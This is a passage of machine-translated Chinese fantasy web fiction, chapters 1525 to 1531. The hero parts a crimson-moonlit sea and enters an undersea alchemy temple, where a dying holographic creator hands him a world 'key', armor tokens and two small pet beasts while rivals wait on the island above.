    When the flames of light gradually fell to the west, and the sky in the east, a crimson full moon could not wait to appear.


    And the noisy island is also gradually quieting at this moment.


    Everyone is waiting quietly.


    at last.


    When the day of flames sinks into the western sky, the crimson moon fills the sky.


    Under the action of gravity, the entire sea area began to violent.


    The huge tidal force drove the sea surging, and the waves slapped on the island, splashing layers of mist.


    This kind of sight has changed everyone''s eyes.


    Only when you face the power of heaven and earth, you will feel your own insignificance.


    Nalan Zhongqin''s complexion turned a strange paleness. For her who had drowned in childhood, facing the turbulent sea that was dyed crimson by the moonlight, it was obviously not so beautiful.


    Especially the violent waves, it seems that everything will be rolled into the bottom of the sea.


    Standing on the side, Yan Zhong noticed the strangeness of Nalan Viola and couldn''t help asking: "Miss Nalan, are you all right!"


    Nalan Viola shook his head, "It''s okay!"


    "It''s hard to imagine that under such violent seawater, there is an ancient ruin sleeping. If someone else said to me, I would definitely slobber him and make a joke that he didn''t wake up!" Yan Zhong sighed. Hidden under the sea... Is it difficult? "Nalan Zhongqin asked suddenly.


    Yan Zhong nodded solemnly, "Of course it''s difficult! In fact, I really can''t imagine how this was done! Because according to common sense, this should have been impossible!"


    "Then how do you think he will open this ancient relic?" Nalan Zhongqin asked again.


    Yan Zhong showed a wry smile, "How do I know! Maybe...tonight we will witness a miracle!"


    At the end, Yan Zhong''s tone was a little uncertain.


    Nalan Viola turned his head to look at the black tower, and whispered softly: "A miracle?"


    The crimson moon slowly crossed the sky, and finally reached the position of Zhongtian.


    At the same time, the effect of tidal gravity has also been amplified to the extreme.


    The turbulent waves were almost taller than this island, and slammed violently, eventually breaking into countless foams.

 Chapter 1526： Enter the ruins

    At this moment, a little light suddenly appeared on the top of the tower in the middle of the island.


    Immediately afterwards, this light spread downward, lighting the entire tower into a huge candle.


    Just as the entire sky was illuminated by this glow, a figure stepped out from the top of the tower and slowly walked into the sea.


    Nalan Zhongqin''s lips pressed slightly, staring at the figure in the sky.


    Xue An''s walking speed seemed slow, but in fact it was extremely fast.


    But in a moment, he had already arrived over the sea, then stopped and stood silently.


    The wind was howling, the sea was boiling, and a crimson moon hung over his head.


    All this constitutes a very weird but very harmonious picture.


    The audience was silent, and everyone held their breath and watched quietly.


    at last.


    Xue An slowly raised his head, and a complex light flashed in his eyes, including joy and nostalgia.


    But then, he sighed slightly.


    "So this is ah!"


    What do you mean?


    What does it mean?


    Nalan Zhongqin''s mind just came up with these questions, and the next scene made her completely stunned.


    Not only her, everyone is stupid.


    Because at this moment, I saw Xue An, who was standing high in the sky, slowly raised his hand, squeezed out a weird seal, and then whispered: "Stop!"


    Click!


    Following his order, the ubiquitous sea breeze suddenly stopped.


    All this was so sudden that the wind that had just blew the pain on the face suddenly stopped.


    The world can only hear the shaking of the sea.


    With an order, the sea breeze stopped!


    This weird scene made everyone''s eyes widen to the limit instantly.


    But all this is just the beginning.


    Seeing Xue An''s hand pressed down suddenly, his eyes flashed, and he gave a soft drink, "Fun!"


    boom!


    Everyone felt that the world seemed to be shaking because of Xue An''s shout.


    Then I saw that the boiling sea suddenly calmed down, as if an invisible and ubiquitous force was simultaneously exerting on every part of the sea.


    The entire sea surface is directly flattened by life.


    In the blink of an eye, the entire sea became as smooth as a mirror, with no wrinkles visible.


    But this vision disappeared in a flash.


    Then I saw a huge crack appeared in the frozen sea.


    The fissure expanded and expanded at a speed visible to the naked eye, and after a few breaths, a huge gap suddenly appeared, dividing the sea area into two halves from the middle.


    But this was still not enough. The sea area that was divided into two halves quickly retreated to the sides, exposing the seabed below.


    And the other end of the gap is impressively connected to the island.


    Everyone stared blankly.


    No one dared to speak.


    Even breathing seemed to stop at this moment.


    "The gear **** is on top, this...is this true?" Yan Zhong muttered to himself with a dull expression.


    Nalan Viola wasn''t much better, but she looked at the huge building in the middle of the seabed with shock, only one thought came to her mind.


    How strong is this boy?


    But if you want to say who is the most shocking one, you have to promise.


    At this moment, she was shocked and had lost the ability to think. It was not until a long time later that she gradually regained consciousness.


    Then she looked at Xue An''s eyes again and was filled with infinite awe.


    Because before that, she thought that Xue An would follow Tao Chengde''s method to enter the ruins through the secret passage.


    But who could have imagined that Xue An would use this almost miraculous power to separate the sea and expose the ancient ruins below directly in front of everyone.


    Standing in the void, Xue An took a deep look at this huge building standing on the bottom of the sea, a flash of inexplicable brilliance flashed in his eyes, and then said lightly: "If you want to see the truth, come with me!"


    With that, Xue An flashed away, and the whole person went straight to the ruins of the sea.


    Upon seeing this, Nalan Zhongqin shouted in a deep voice: "You are waiting here!"


    Then he urged the alchemy vehicle he carried with him, and followed closely behind.


    With her move, the rest of the people woke up like a dream and followed.


    But there are also many people who are horrified and can only stand on the island and wait.


    At the same time, Xue An took the lead in breaking into this building.


    Even though he was on the bottom of the sea and was immersed in sea water for countless years, he could still clearly see the exquisite patterns carved on the huge pillars after getting closer.


    The whole building is like a temple, exuding a gloomy and holy atmosphere.


    These two completely different temperaments are perfectly fused together, making people have an urge to worship even when standing in front of it.


    Xue An just stood in front of the temple and looked quietly.


    At this time, Nalan Zhongqin and others rushed over one after another, and then they were all shocked by the grandeur of this temple.


    "Unbelievable, this pattern is obviously some kind of indescribable rune, but how did they do it? Can it be so clear after such a long time?" Nalan Viola whispered softly.


    "It''s very simple. Time has no effect on these rune tattoos. This temple... is independent of the long river of time!" Xue An said without looking back, with a few praises in his tone.


    There was an inexplicable look in Nalan Viola''s eyes, and it was obvious that all this was beyond her understanding.


    At this time, Xue An turned his head to look at the people who followed, and then smiled faintly, "Can you keep up?"


    No one spoke, and everyone nodded very solemnly.


    "Very good, then come with me!"


    After all, Xue An took the lead and rushed directly to the temple in front of him.


    Nalan Viola gritted his teeth, and the next one followed.


    On the contrary, Yan Zhong''s face was hesitant.


    "Just rush up like this? This is an ancient relic! God knows what defense facilities will be there!"


    But despite saying that , when he saw Xue An flying towards the temple, he still stomped bitterly.


    "Damn, I must be crazy, I approached the ruins without investigation!"


    While talking, he followed up bitterly.


    Unexpectedly, at least when approaching the ruins, everyone did not encounter any danger.


    After passing through the huge pillars outside, a huge stone gate that had collapsed appeared in front of him.


    Xue An''s figure didn''t stop, just a flash of brilliance in his eyes, and the ruined walls blocking the front were bombarded into powder.


    Then a group of people broke into this ruin directly.


    The moment they stepped into it, everyone felt that the scene in front of them suddenly changed, and then they stood there, with all kinds of complex expressions on their faces.


    It can be seen that the scenes that everyone sees are completely different.

 Chapter 1527： 2 little beasts

    Only Xue An was not affected at all, but stood in the temple, quietly scanning the huge space in front of him.


    Although it is deep under the sea, there is no water stains in the temple, and it is abnormally dry.


    And around this huge space, stands one after another statues.


    It''s just that these statues seem to have gone through a fierce battle, with huge cracks all over their bodies, and some have even broken into pieces.


    Xue An didn''t care about the people behind him who had fallen into dreams, but walked among these statues, with a complex and difficult look on his face.


    Although it has been so long, Xue An can still clearly feel the powerful force contained in these statues.


    And these statues do not have obvious mechanical structures like ordinary alchemy creations.


    On the contrary, in many places, these statues are like real creatures, with flesh and blood and complete functions.


    Seeing this, Xue An suddenly remembered Liu Keke and the puppet master gate she was in when she met in the Secret Realm of Qi Luck.


    That should be an alchemy vein that was lost in the heavens, and I don''t know why it fell into the mystery of Qi Yun.


    But even those huge mechanical puppets are so fragile compared to the dead statues in front of them.


    These statues are obviously much more advanced!


    At this moment, Xue An suddenly gave a whisper, then knelt down to look at a statue hidden in a corner.


    This statue is very mini, the size of a human baby.


    But Xue An''s complexion gradually became serious.


    Because he can see that this statue is obviously not something acquired, but formed congenitally, and in some respects more advanced than those large statues.


    It''s like...evolved!


    "Are you alchemy creatures with self-evolving capabilities? What did you guys tinker with in the first place!" Xue An sighed softly.


    At this moment, a black shadow lurked silently, and when it approached Xue An''s back, the black shadow suddenly violently rushed towards Xue An.


    Xue An seemed to be totally unaware, still squatting there studying this statue.


    There was a cold light in the black shadow''s mouth.


    But when it had rushed to the front, Xue Anman casually flicked back.


    Bang!


    An invisible force directly flew out this black shadow bullet.


    In the midair, the black shadow let out a scream.


    But it was this scream that made Xue An''s look strange.


    Because this scream is like a pup who has not been weaned being kicked, full of milky voice.


    Immediately afterwards, I saw a dark shadow landing, and after it emerged, it was a chubby little beast with a lingering light.


    At this moment, this little beast was sitting on the ground, tears streaming down his aching big eyes, and it looked like... more than just a cute character.


    Xue An couldn''t help being a little surprised.


    what happened?


    How could such a small beast pop out suddenly?


    At this moment, I listened to this little beast uttering aggrievedly: "Woo, you actually bullied me? How cute are you?"


    Xue An: "..."


    But at this moment, Xue An suddenly noticed a narrow smile in the little beast''s eyes.


    Immediately afterwards, he noticed another gust of wind coming from behind.


    But before the little beast laughed, the same scream, the same brilliance.


    Then I saw a little beast with a similar size, but all pink and with two small horns on its head, was also shot out, and then landed beside the little beast before.


    The two beasts looked at each other.


    Then I saw this little pink beast holding the big bag on his head and crying out of pain.


    "Uuuuu, I said don''t do it! I blame you!"


    The little beast on the side wanted to persuade, but was complained by the little pink beast and could only sit there with embarrassment.


    Xue An looked at it with interest.


    The little beast at the beginning glared at Xue An fiercely, "What to look at, dare to look more, be careful of your eyes!"


    Xue An said with a faint smile: "Oh? Is it so powerful?"


    "That is!" Little Beast straightened his waist proudly, but seemed to have affected the wound, his face suddenly bitter, and then he said viciously.


    "It must be a bad guy to start so cruelly!"


    "Yes, badass!" the little pink beast echoed.


    Xue An was a little bit dumbfounded, "You two attacked me silently. I didn''t kill you just to give you enough face, so you still call me?"


    The two little beasts were speechless.


    At this time Xue An said softly: "Well, it doesn''t matter who is right or wrong, take me to see your master!"


    Two little beasts jumped up from the ground, looking at Xue An with shocked faces.


    "how do you know����."


    "How do I know that you will have a master?" Xue An smiled, and then cast his gaze into the depths of the temple, "Actually, as soon as I came in, I already felt a gaze spying on me! Right? The master of this temple?"


    Following Xue An''s voice, a sigh came from the depths of the temple.


    Then I heard a cold female voice say calmly: "Xiao Bang, Xiao Nian, don''t mess around, bring this distinguished guest here!"


    "Yes!" The expressions of the two little beasts immediately respected, and then turned their heads to cast their lips at Xue An.


    "Let''s go!"


    Xue An smiled, and then followed the two little beasts to the depths of the temple.


    This temple seems unremarkable, but in fact it has hidden mysteries.


    Although it was only a few steps, the scene in front of him suddenly became different between changes in shape.


    The temple disappeared, and a room that was not too large appeared in front of him.


    In the room, the chains of alchemy stretched everywhere like tentacles, and in the middle, there was an alchemy vessel emitting a faint fluorescent light.


    When Xue An walked in, a virtual image of a woman was slowly reflected in the sky above the alchemy vessel, and then she smiled slightly at Xue An.


    "Dear guest, you are finally here! I have been waiting for you for a long time!"


    "Have you waited for me for a long time?" Xue An was startled slightly.


    The woman nodded, "Yes, in fact, from the moment you appeared in this world, I have been waiting for you again!"


    "Is it because the timeline was changed?" Xue An regained his calm said lightly.


    "Forget it! But more importantly, the alchemy cube that brought you..." At this point, the woman smiled. Although it is a virtual image, she can still see the sadness in her eyes.


    "So... is Ye Hanchang okay?"


    Xue An shook slightly, "You are..."


    The woman nodded, "Yes, I gave him this alchemy cube. It seems that he mentioned me to you!"


    Xue An was a little silent.


    More than just mentioning it, Xue An still remembers Ye Hanshang''s bleak expression of mentioning this matter.


    Therefore, he was silent for a long time, and after careful consideration of his tone, he slowly said, "This...what is going on?"


    The woman smiled, "Don''t worry, since I have waited for your arrival, of course I will tell you all the secrets. Let me introduce myself first. My name is Wan Han! I used to be... the creator of God!"

 Chapter 1528： Lost past

    Xue An was shocked when he heard the three words "Master of God", a look of surprise appeared in his eyes, but he quickly recovered his calm.


    "So, no wonder Ye Hanshang can build a magnificent creation like Tiewangshan. If I''m not wrong, he should have got your help!"


    Wan Han nodded, "Yes! But in fact, this is not such a difficult thing, because the ghost world was built by our alchemy civilization at the beginning, so if you want to build those creations, you only need to pass some small things. That��s enough to drive the source of alchemy!"


    Xue An nodded, "I know all this!"


    The woman was startled, "Do you know everything?"


    "Yes! What do you think I am here for in this alchemy civilization?"


    "For what?"


    "I originally came to ask for help, because the alchemy source of the ghost world has already had a problem and needs to be solved urgently. But I didn''t expect that after coming here, I found that you are already overwhelmed!" Xue An sighed lightly.


    The woman was silent for a while, and then asked softly: "Can I ask what went wrong?"


    "Of course!" Then Xue An recounted what happened.


    After listening, Wan Han showed a wry smile, "It turned out to be so! What are you going to do now?"


    Xue An said calmly: "Don''t say what I plan to do? I am curious now, why did you become like this! What happened to the statues in the temple?"


    Wan Han was silent for a moment, and finally sighed quietly.


    "You are amazing, even better than Ye Hanshang! But the question you ask, I can only say..." Wan Han showed a wry smile.


    "Do it yourself!"


    "Oh?" Xue An raised his eyebrows slightly, "What do you say?"


    Wan Han whispered: "I don''t know that you don''t know the history of our alchemy civilization, but I can tell you responsibly that long ago, alchemy civilization once spread all over the heavens, overwhelming the immortals, and has no power!"


    Xue An nodded, "I heard it!"


    "But later, due to various reasons, our alchemy civilization began to decline, and finally retreated to a corner of this space, but even so, we were still very powerful at the time!" Speaking of this, Wan Han''s face showed pride. The color.


    "That''s when Ye Hanshang came to you?" Xue An asked.


    Wan Han nodded, "That''s right! But later...something happened!"


    "What will happen when a civilization begins to decline? Some people say that there will be evildoers, some people say that there will be natural and man-made disasters. And the alchemy civilization at that time is obviously different from these."


    "The reason why we were destroyed was completely defeated by our own arrogance." Wan Han said with a wry smile.


    "Arrogant..." Xue An whispered softly.


    "Yes, it is arrogance! At that time, although we lost the glory of our ancestors, we were still extremely arrogant, and the fuse that eventually led to destruction also originated from this!"


    Speaking of this, Wan Han asked, "Did you see the statues in the temple outside?"


    "of course!"


    "Those are our masterpieces at the time! At that time, we were obsessed with creations, frantically pursuing the pleasure of the creator, and finally developed those alchemical creations that have self-consciousness and can evolve on their own!


    A look of horror appeared in Wan Han''s eyes, "As a result, everything was out of control!"


    Xue listened quietly, without speaking.


    It was not until a while later that Wan Han recovered his calm, and then continued: "It was an indescribable battle. These created lives began to rebel wildly for independence, and we finally tasted ourselves. The evil fruit that I planted by myself!"


    "Countless excellent alchemists died, the glory of the past was bitten back, and we were finally buried by what we made by ourselves!"


    Speaking of this, Wan Han''s voice already brought a hint of crying.


    Xue An was silent for a moment, and then asked: "What then?"


    "At the last moment, in order to completely destroy these alchemy creations and prevent them from spreading to the heavens, my brother, a greater creative master, resolutely sacrificed himself, and finally destroyed all the alchemy creations! "


    "Your brother?" Xue An asked.


    "Yes! After living here again, three great creators have been born in the alchemical civilization, and I and my brother are one of them!"


    "What about another one?"


    Hearing Xue An��s question, Wan Han��s eyes suddenly showed a crazy look, ��Yes! There is another one! And he is the real culprit, these sane alchemy creations he created without authorization. !"


    "But when the war ended, he disappeared!"


    Speaking of this, Wan Han''s virtual image shook because of his excitement, "Is it ridiculous? The puddle is dry, but the fish that dried the water has left!"


    Xue An was silent again.


    The whole room was silent.


    I don��t know how long it took, Wan Han suddenly chuckled, "No [Longteng Novel Network www.yzltzw.top] I��m sorry, I remembered a lot of things before, a little too excited!"


    Xue An sighed lightly, "Understandable! Actually, I also have the same troubles as you! Even the hatred I shoulder is much deeper than yours!"


    Wan Han smiled wryly, "Hate or not, in fact, after so many years, I have been bearish! I am just a little unwilling!"


    "Speaking of which, there is a problem with the alchemy source of the ghost world, how do you plan to solve it?" Wan Han asked.


    Xue An was silent for a moment, then suddenly waved his hand and passed a divine thought.


    After receiving it, Wan Han checked it carefully, and then he was surprised.


    "Oh my god, is it such an idea? It''s a genius-like idea After a long while, Wan Han woke up from the shock, and then said to Xue An, "It''s undeniable, you The idea of ??is too shocking, but it is also extremely difficult to achieve, at least far from what you imagined can be accomplished by the great creator, even as a **** creator I can''t do it! "


    "Oh? What if you add me?" Xue An said with a smile.


    Wan Han was startled, and then took a deep look at Xue An, "I don''t know, but if I can, then I will say thank you for the lost alchemy civilization!"


    "Thanks, no need, let''s talk about it now!"


    "Do you mean those who came with you? Don''t worry, when they come in, I have already let them enter their respective trial illusions. I will try my best to teach everything I know to Their!"


    Xue An raised his eyebrows when he heard this, "You... are going to leave?"


    Wan Han smiled, "Yes! Having stayed here for so long, now I finally have a chance to get free!"


    "But before I leave, I have a few things to ask you!"

 Chapter 1529： Hospice

    With the voice, a series of silk thread stripes appeared in the air, and then these silk thread stripes gathered together, like a screen with a power supply, and a slowly rotating Rubik''s cube appeared out of thin air in front of Xue An. .


    This Rubik''s Cube is much larger than the Rubik''s Cube that brought Xue An, and its structure is obviously more sophisticated.


    When it hovered there, everything seemed to stagnate.


    Xue An raised his eyebrows slightly, "What is this?"


    "Key!" Wan Han looked at the Rubik''s Cube with a complicated expression, and said softly.


    "key?"


    "Yes, it is the key to this world. It is the same tool as the Rubik''s Cube that brought you here. The difference is that the Rubik''s Cube that brought you here is much lower in authority than this Rubik''s Cube!"


    Xue An showed a thoughtful look.


    Wan Han sighed, "In other words, the Rubik''s Cube that brought you here is only in visitor mode and has no right to interfere with this world, but this Rubik''s Cube opens in the administrator mode, which has the highest authority in this world. , Which means that if you have it, you have the whole world!"


    A look of surprise appeared on Xue An''s face, "I''m very surprised, why do you give this thing to me instead of Ye Hanshang!"


    Wan Han showed a wry smile, "Do you think he will forgive me?"


    Xue An was questioned, and only after a long time did he whisper softly: "I think there should be some misunderstanding between you!"


    "That''s not important anymore!" Wan Han said softly: "Actually from the moment you appeared in this world with the Rubik''s Cube, my life has entered a countdown state! So everything is doomed, What''s more, I have seen something unusual in you. It is a better choice to give you this dying alchemical civilization!"


    Xue An was silent for a moment, and finally slowly stretched out his hand to touch the Rubik''s Cube in front of him.


    The Rubik''s Cube instantly converged, and then fell into Xue An''s hands, turning into a delicate Rubik''s Cube.


    "I can''t promise you more, but at least I will do my best to protect this last ray of alchemy flame from being blown out!"


    Wan Han smiled, "Thank you! But in fact, you don''t have to be too persistent, because in my opinion, there should be more than one puddle!"


    Xue An raised his eyebrows slightly, "You mean there is alchemy civilization in the heavens besides you?"


    "It may also be outside the heavens! Who knows exactly!"


    Beyond the heavens!


    Hearing these four words, Xue An''s heart moved.


    When he was the Immortal Venerable, he tried to explore the traces beyond the heavens, but for various reasons, he did not achieve any results in the end.


    When Xue An was in deep thought, Wan Han continued: "I have already instilled those people outside for you. They will all be the seeds of this restart, and they can be regarded as my last help to you!"


    When talking about this, Wan Han''s virtual image became weaker and weaker, but she was still calm as water, her eyes swept over Xue An''s body, and then whispered.


    "I can feel the breath of the alchemy armor you are wearing, can it show it?"


    Xue An nodded, and the token that had been integrated around his waist trembled suddenly, and then the armor spread across Xue An''s body like flowing water.


    When the full form of the armor was exposed in front of Wan Han, her expression became a little excited.


    "Sure enough! It''s a perfect creation method. It''s hard to imagine how powerful the people who forged it back then!"


    Xue An raised his eyebrows slightly, "You can''t understand the origin of this armor?"


    Wan Han shook his head, "I can''t see through! Because when the alchemy civilization was still prosperous, these armors already existed! It''s just that they didn''t attract too much attention at the time because they existed alone. , The power is not too strong!"


    "Until a chance coincidence later, my brother collected several pieces of armor and successfully integrated them together. As a result, he found that every armor piece that fits, the power will increase exponentially, which caused him. Great interest, I have studied for a long time without sleeping and eating!"


    "The result?" Xue An asked.


    Wan Han shook his head, "As a result, no results were obtained. All imitations failed in the end. The only thing that can be determined is that the origin of these armors is obviously not so simple, because the technology contained in them is even the original alchemical civilization. You can''t do it in the heyday of the heavens!"


    Xue An was surprised again. He thought that after coming to the alchemy civilization, he could solve the mystery of these alchemy armor, but even Wan Han didn''t know it.


    At this moment, Wan Han, who had become weaker and weaker, said softly: "Xiao Bang, Xiao Mian, you two go get things out!"


    The two little beasts also seemed to feel that something was wrong with Wan Han, their big eyes were full of tears, they nodded when they heard this, and turned away.


    After a while, the two little beasts came over with a small box.


    "Pick it up, this is the last gift I prepared for you!"


    Xue An took this small box with a button on it. When pressed, he only heard the sound of gears turning, and then the box began to grow. When it reached the size of a table, it clicked slightly. The box was opened.


    Inside are five luminous tokens.


    Xue An was startled slightly, and then said with some emotion: "This is..."


    "Yes, these are the five pieces of armor that my brother collected at the beginning! They are cows, rabbits, horses, dogs, and pigs! Add all your four armors, and now there are nine armors! Please fit me together! Take a look!"


    Xue An was silent for a moment and then picked up these five tokens.


    At the moment it was put into the palm of the hand, the five tokens merged into the armor on Xue An''s body like flowing water.


    Then the entire armor began to change its form crazy, the golden light twisted, and behind Xue An, a larger wing began to take shape, and then nine feathers appeared on the wing.


    When the changes finally stopped, Xue An floated in the air. The armor on his body was like a perfect handicraft, the beauty was dazzling.


    Xue An could feel that regardless of his own cultivation level, only the power contained in this armor was enough to easily kill an ordinary Daluo expert.


    Such power is simply staggering.


    Wan Han was no exception. She looked at this armor with horror, and then her face gradually showed nostalgia.


    "It''s a perfect alchemy armor! And I can feel that this is the direction that alchemy civilization should go, rather than indulging in creation!"

 Chapter 1530： 2 cute pets

    Speaking of this, Wan Han''s figure could no longer maintain a stable form, and he began to shake gradually.


    "Master!" The two little beasts exclaimed.


    A look of regret also appeared in Xue An''s eyes, "Thank you for your armor, in the end... do you have any wishes?"


    Wan Han glanced gently at the two crying beasts, "Hey, don''t cry, you should be happy for me, after all, I am finally free!"


    But despite saying that, the two little beasts still bowed their heads and couldn''t make a sound.


    Wan Han raised his head to look at Xue An, and said with a voice that began to deform, "These two little beasts have been with me for many years of boring time. If possible, please take care of them for me!"


    Xue An nodded, "No problem!"


    At the same time, Wan Han''s figure had begun to collapse, but at the last moment, Wan Han''s eyes showed a touch of reluctance, and he insisted on speaking with the last trace of consciousness.


    "One last thing, please, give me the alchemy plate after my death to Ye Hanshang, he will know what it means!"


    Words fall.


    Wan Han''s body finally collapsed completely.


    The tentacles that originally covered the entire room withered, and the alchemy vessel in the center lost its brilliance and fell.


    Xue An flickered and stepped forward to catch the dropped alchemy vessel.


    I saw it was dark, shimmering with cold metallic luster, and looked like a USB flash drive on the earth.


    Xue An looked for a moment in silence, and then sighed softly.


    In any case, this woman''s courage and perseverance are worthy of admiration.


    At least in her position, no one can do better than her!


    "Rest in peace, as for what you have entrusted to me, I will do my best to do it for you!"


    Xue An said softly, then turned to look at the two little beasts who were kneeling on the ground and crying, with a smile on their faces.


    Such a cute pet, although I have no feelings, but the two little girls would like it very much!


    Thinking of this, Xue An unearthed a ray of spiritual thought and released the Fubao Xiaolou hidden in the sea of ??knowledge.


    Xue An was worried that the changes in the timeline would cause the world to reject An Yan and the two little girls, so she never let them out.


    But now the situation is different. Xue An, who holds the authority of this world administrator, is already the master of this world, so naturally there is no need to worry about rejection.


    "Dad, father!"


    When thinking and Nian Nian came out of the Fubao Xiaolou, they cheered and rushed up.


    Xue An smiled and hugged his two daughters, "Have you listened to your mother recently?"


    "Well, we two are obedient, and we have all learned to add, subtract, multiply, and except!" I thought about raising my face, and said smugly.


    "Really, did Nian Nian learn it?" Xue An turned to ask Nian Nian.


    Nian Nian nodded, "Learned it!"


    "Then I will test you?" Xue An said with a smile.


    "Dad, let the horse come here!" Think about it and said very confidently.


    "Listen well, what is one plus one?"


    Originally, I wanted to show my energy in front of Xue An, but my face collapsed after hearing this.


    "What! Do you still need to test such a simple question?"


    But Niannian replied honestly: "It''s equal to two!"


    Xue An then smiled and said, "What about two times two?"


    "Four!" Nian Nian said.


    "Four times four?"


    "Sixteen!" Nian-nian still didn''t hesitate at all.


    "Sixteen times sixteen?"


    "Two hundred fifty six!"


    A look of surprise appeared in Xue An''s eyes, "Nian Nian is so powerful!"


    Nian Nian showed an embarrassed smile, but pouted her mouth after thinking about it.


    "Dad, ask about division!"


    "Why are you asking about division?"


    "Because I am better at division, and Nian Nian is better at multiplication!"


    Xue An smiled and said, "Oh, it turns out to be like this! What is the number of thirteen thousand two hundred and eleven divided by six?"


    After speaking, Xue An looked at his eldest daughter with a narrow smile.


    But I never expected to think about it without any hesitation, and blurted out: "There are countless three behind 2201.8333333!"


    This time it was Xue An''s turn to be dumbfounded.


    Think about it proudly and say: "How about it, awesome!"


    Xue An exclaimed: "Great, how did you two do it?"


    "Just do it once, is it difficult?" Wanted and Nian Nian asked rhetorically.


    Xue An: "..."


    Then Xue An smiled, "It seems that thinking and Niannian are really a genius!"


    At this time An Yan smiled and walked forward, "Okay, don''t praise them, if this goes on, the two of them should be proud again!"


    "Be proud of being proud! My daughter, she must be a genius among geniuses!" Xue An said with a face of dozing.


    At this moment, after thinking about it, I noticed the two little beasts hiding in the far corner with their heads facing the wall and exposed their bodies.


    "Dad, what are those two?" Thinking about it, asked in surprise.


    Xue An smiled upon hearing this, "The two! Those are the pets left by a friend of Dad''s. Would you like to be friends with them?"


    Thinking and Niannian''s eyes gradually widened, and a look of joy appeared on her little face.


    Although I didn''t see the appearance of these two little beasts, from their bulging bodies and pink and tender color, we can see that they should be some kind of extremely cute creatures.


    For cute things, the two little girls have never resisted.


    Therefore, the two of them jumped directly from Xue An''s arms, cheered, and jumped on.


    at the same time.


    The two little beasts, Xiao Bang and Xiao Mian, buried their heads in the corner, and kept mumbling.


    "Can''t see me, can''t see me!"


    It''s a pity that everything was in vain. When the two of them heard the cheers of the closer and closer, they trembled, and then turned around and wanted to escape.


    But both of them underestimated the power of thinking and thinking.


    I thought about it and shouted: "Niannian, they have to run!"


    Nian Nian nodded, "I know, go back to me!"


    Give an order.


    Xiao Bang and Xiao Mian felt that an inexplicable force directly blasted them back to where they were. Just about to struggle, their two little hands grabbed the soft flesh behind their necks and lifted them up.


    Xiao Bang and Xiao Mian struggled hard.


    "Let go of the two of us! We swear not to be other people''s pets!"


    "Yes, let go of the two of us!" Xiaomian also shouted loudly.


    But this kind of struggle only lasted for only a few breaths When thinking and Nian Nian hold them in their arms with bright eyes, and gently comb their backs with your hands. Time.


    The unspeakable numbness and comfort easily defeated all the resistance of these two little beasts.


    I saw them squinting their eyes and humming constantly in their mouths.


    "Ah, that''s it, please grab it harder!"


    "Please don''t pity others'' weakness!!"


    This kind of contrast made An Yan laugh and laugh, and couldn''t help but complain: "This is all the cute pets you got from!"


    Xue An stood aside and said with a smile, "Doesn''t it look cute?"


    "I don''t think it''s cute, but I feel silly!"


    "Stupid?" Xue An took a deep look at these two little beasts, and whispered: "You won''t feel that way anymore soon!"

 Chapter 1531： gloom

    At this moment, the entire island is shrouded in a cloud of gloom.


    Because it has been ten days since everyone entered the remains of the seabed.


    In such a long period of time, there was no message from the temple located on the bottom of the sea.


    Everything seems to be frozen.


    And this fallen temple is like a silent behemoth, swallowing everything, leaving only the entrance to the black hole, standing there quietly.


    The forces of all parties who remained on the island could no longer contain the anxiety in their hearts and began to stir.


    "What the **** is going on? Why is there no news after going there for so long?" The people in the Pharmacist League were commotion.


    "Yeah, there shouldn''t be any conspiracy!" The person who ransacked the villain even said with an unkind expression.


    "Hmph, if something happens to my boss, this Tower of Truth is ready to be buried!" This is the hunter''s guild man shouting.


    In short.


    The whole audience is becoming more and more noisy as time goes by.


    The faces of the Tracers Guild were also very ugly.


    Because this time, the people who followed Chairman Yan Zhong in are all the elite players in the guild.


    If something happened to them, the loss would be great.


    But the most anxious people in the audience are the auctioneers alliance.


    Because Nalan Viola is already the soul of the entire auction alliance, if something goes wrong with her, the already stabilized interest pattern will make waves again.


    In fact, even now, when Nalan Viola is just no news, many people can''t sit still.


    For example... the group of people who just got off the aircraft.


    Walking in the front of this group of people is a gorgeously dressed lady with a proud look.


    Following her is a young man.


    Looks should be the relationship between mother and child.


    After seeing this pedestrian, the faces of everyone in the Auction Alliance suddenly became extremely ugly.


    At this time, the lady has already walked to the front of the team.


    The manager hesitated for a moment, but finally lowered his head and whispered; "Second Madam!"


    That''s right.


    The pedestrian who appeared on the island at this moment was the second wife of the Nalan family and her son, Nalan Changlong, the half brother of Nalan Zhongqin.


    Seeing all the people in the auction alliance who looked like concubines, the second lady snorted coldly, then raised her eyes to look at the distant sea.


    "What? That lovely lady hasn''t heard from it yet?"


    There was a slight commotion from the people in the auction alliance, and water dripped from the general manager who looked ugly, "Not yet...not yet!"


    "Haha! It''s been ten days. If I could come out, I would have already come out. It is estimated that my sister Zhongqin has been buried in this ancient relic!" Nalan Changlong said with a gleeful expression.


    Hearing his undisguised cynicism, many people in the auction league looked sullen.


    The chief steward also took a deep breath and slowly said, "Master Changlong, the eldest does not hesitate to take risks in order to explore the ancient ruins, so I think you better respect it!"


    "What? You dare to teach me? I''m a member of the Nalan family, what are you!" Nalan Changlong''s face was sinister.


    But his words aroused greater anger.


    Many people from the auction alliance glared at him.


    The second lady''s expression changed when she saw it, and she changed her tone immediately, and said softly, "Long Er, what nonsense, that is your sister after all!"


    Upon hearing this, Nalan Changlong had to lower his head and stop speaking.


    Immediately afterwards, the second lady said with a smile without a smile: "Actually, don''t get me wrong. Changlong and I came here to worry about the safety of Viola, but our auction alliance can''t wait here without restrictions. Why not do this? Wait three days with you!"


    "If Zhongqin still has no news after three days, let''s go back to sort out the auction affairs first, and there will be a few people left here to wait. What do you think?"


    This is very polite, but the meaning in the words is clear.


    Obviously, the second lady came here to try to get involved in the auction alliance while Nalan Viola was away.


    But helpless, now the person who can preside over the overall situation is not there, even if these people are angry, it will not help.


    After all, this auction alliance belongs to Nalan.


    Seeing everyone including the big steward bow their heads, a flash of joy flashed in the eyes of the second lady.


    "Changlong, put all the tea and food you brought, everyone has worked hard these days, let''s eat something slowly!"


    After speaking, someone brought a chair, and the second wife sat on it pretendingly, and then began to wait for the return of Nalan Viola.


    Seeing this scene, many people in the auction alliance looked at each other and saw the worry in each other''s eyes.


    If... the eldest lady really can''t return on time.


    Then the profit structure that was created with great difficulty will be completely disintegrated, and then the future of the auction alliance may once again be lost in confusion.


    Just as the atmosphere outside became more tense.


    In the ruins temple, An Yan looked curiously at the dull-faced people standing in the hall.


    "Husband, what''s the matter with them? Why do everyone seem to be asleep, but there are various expressions flashing on some faces from time to time?"


    Xue An smiled upon hearing this, "They are in a dream now!"


    "Dreamland?"


    "Yes, it is a trial illusion to be precise. With the help of this secret technique, they can learn a lot of civilizations that have been lost!"


    "Doesn''t it take a long time?"


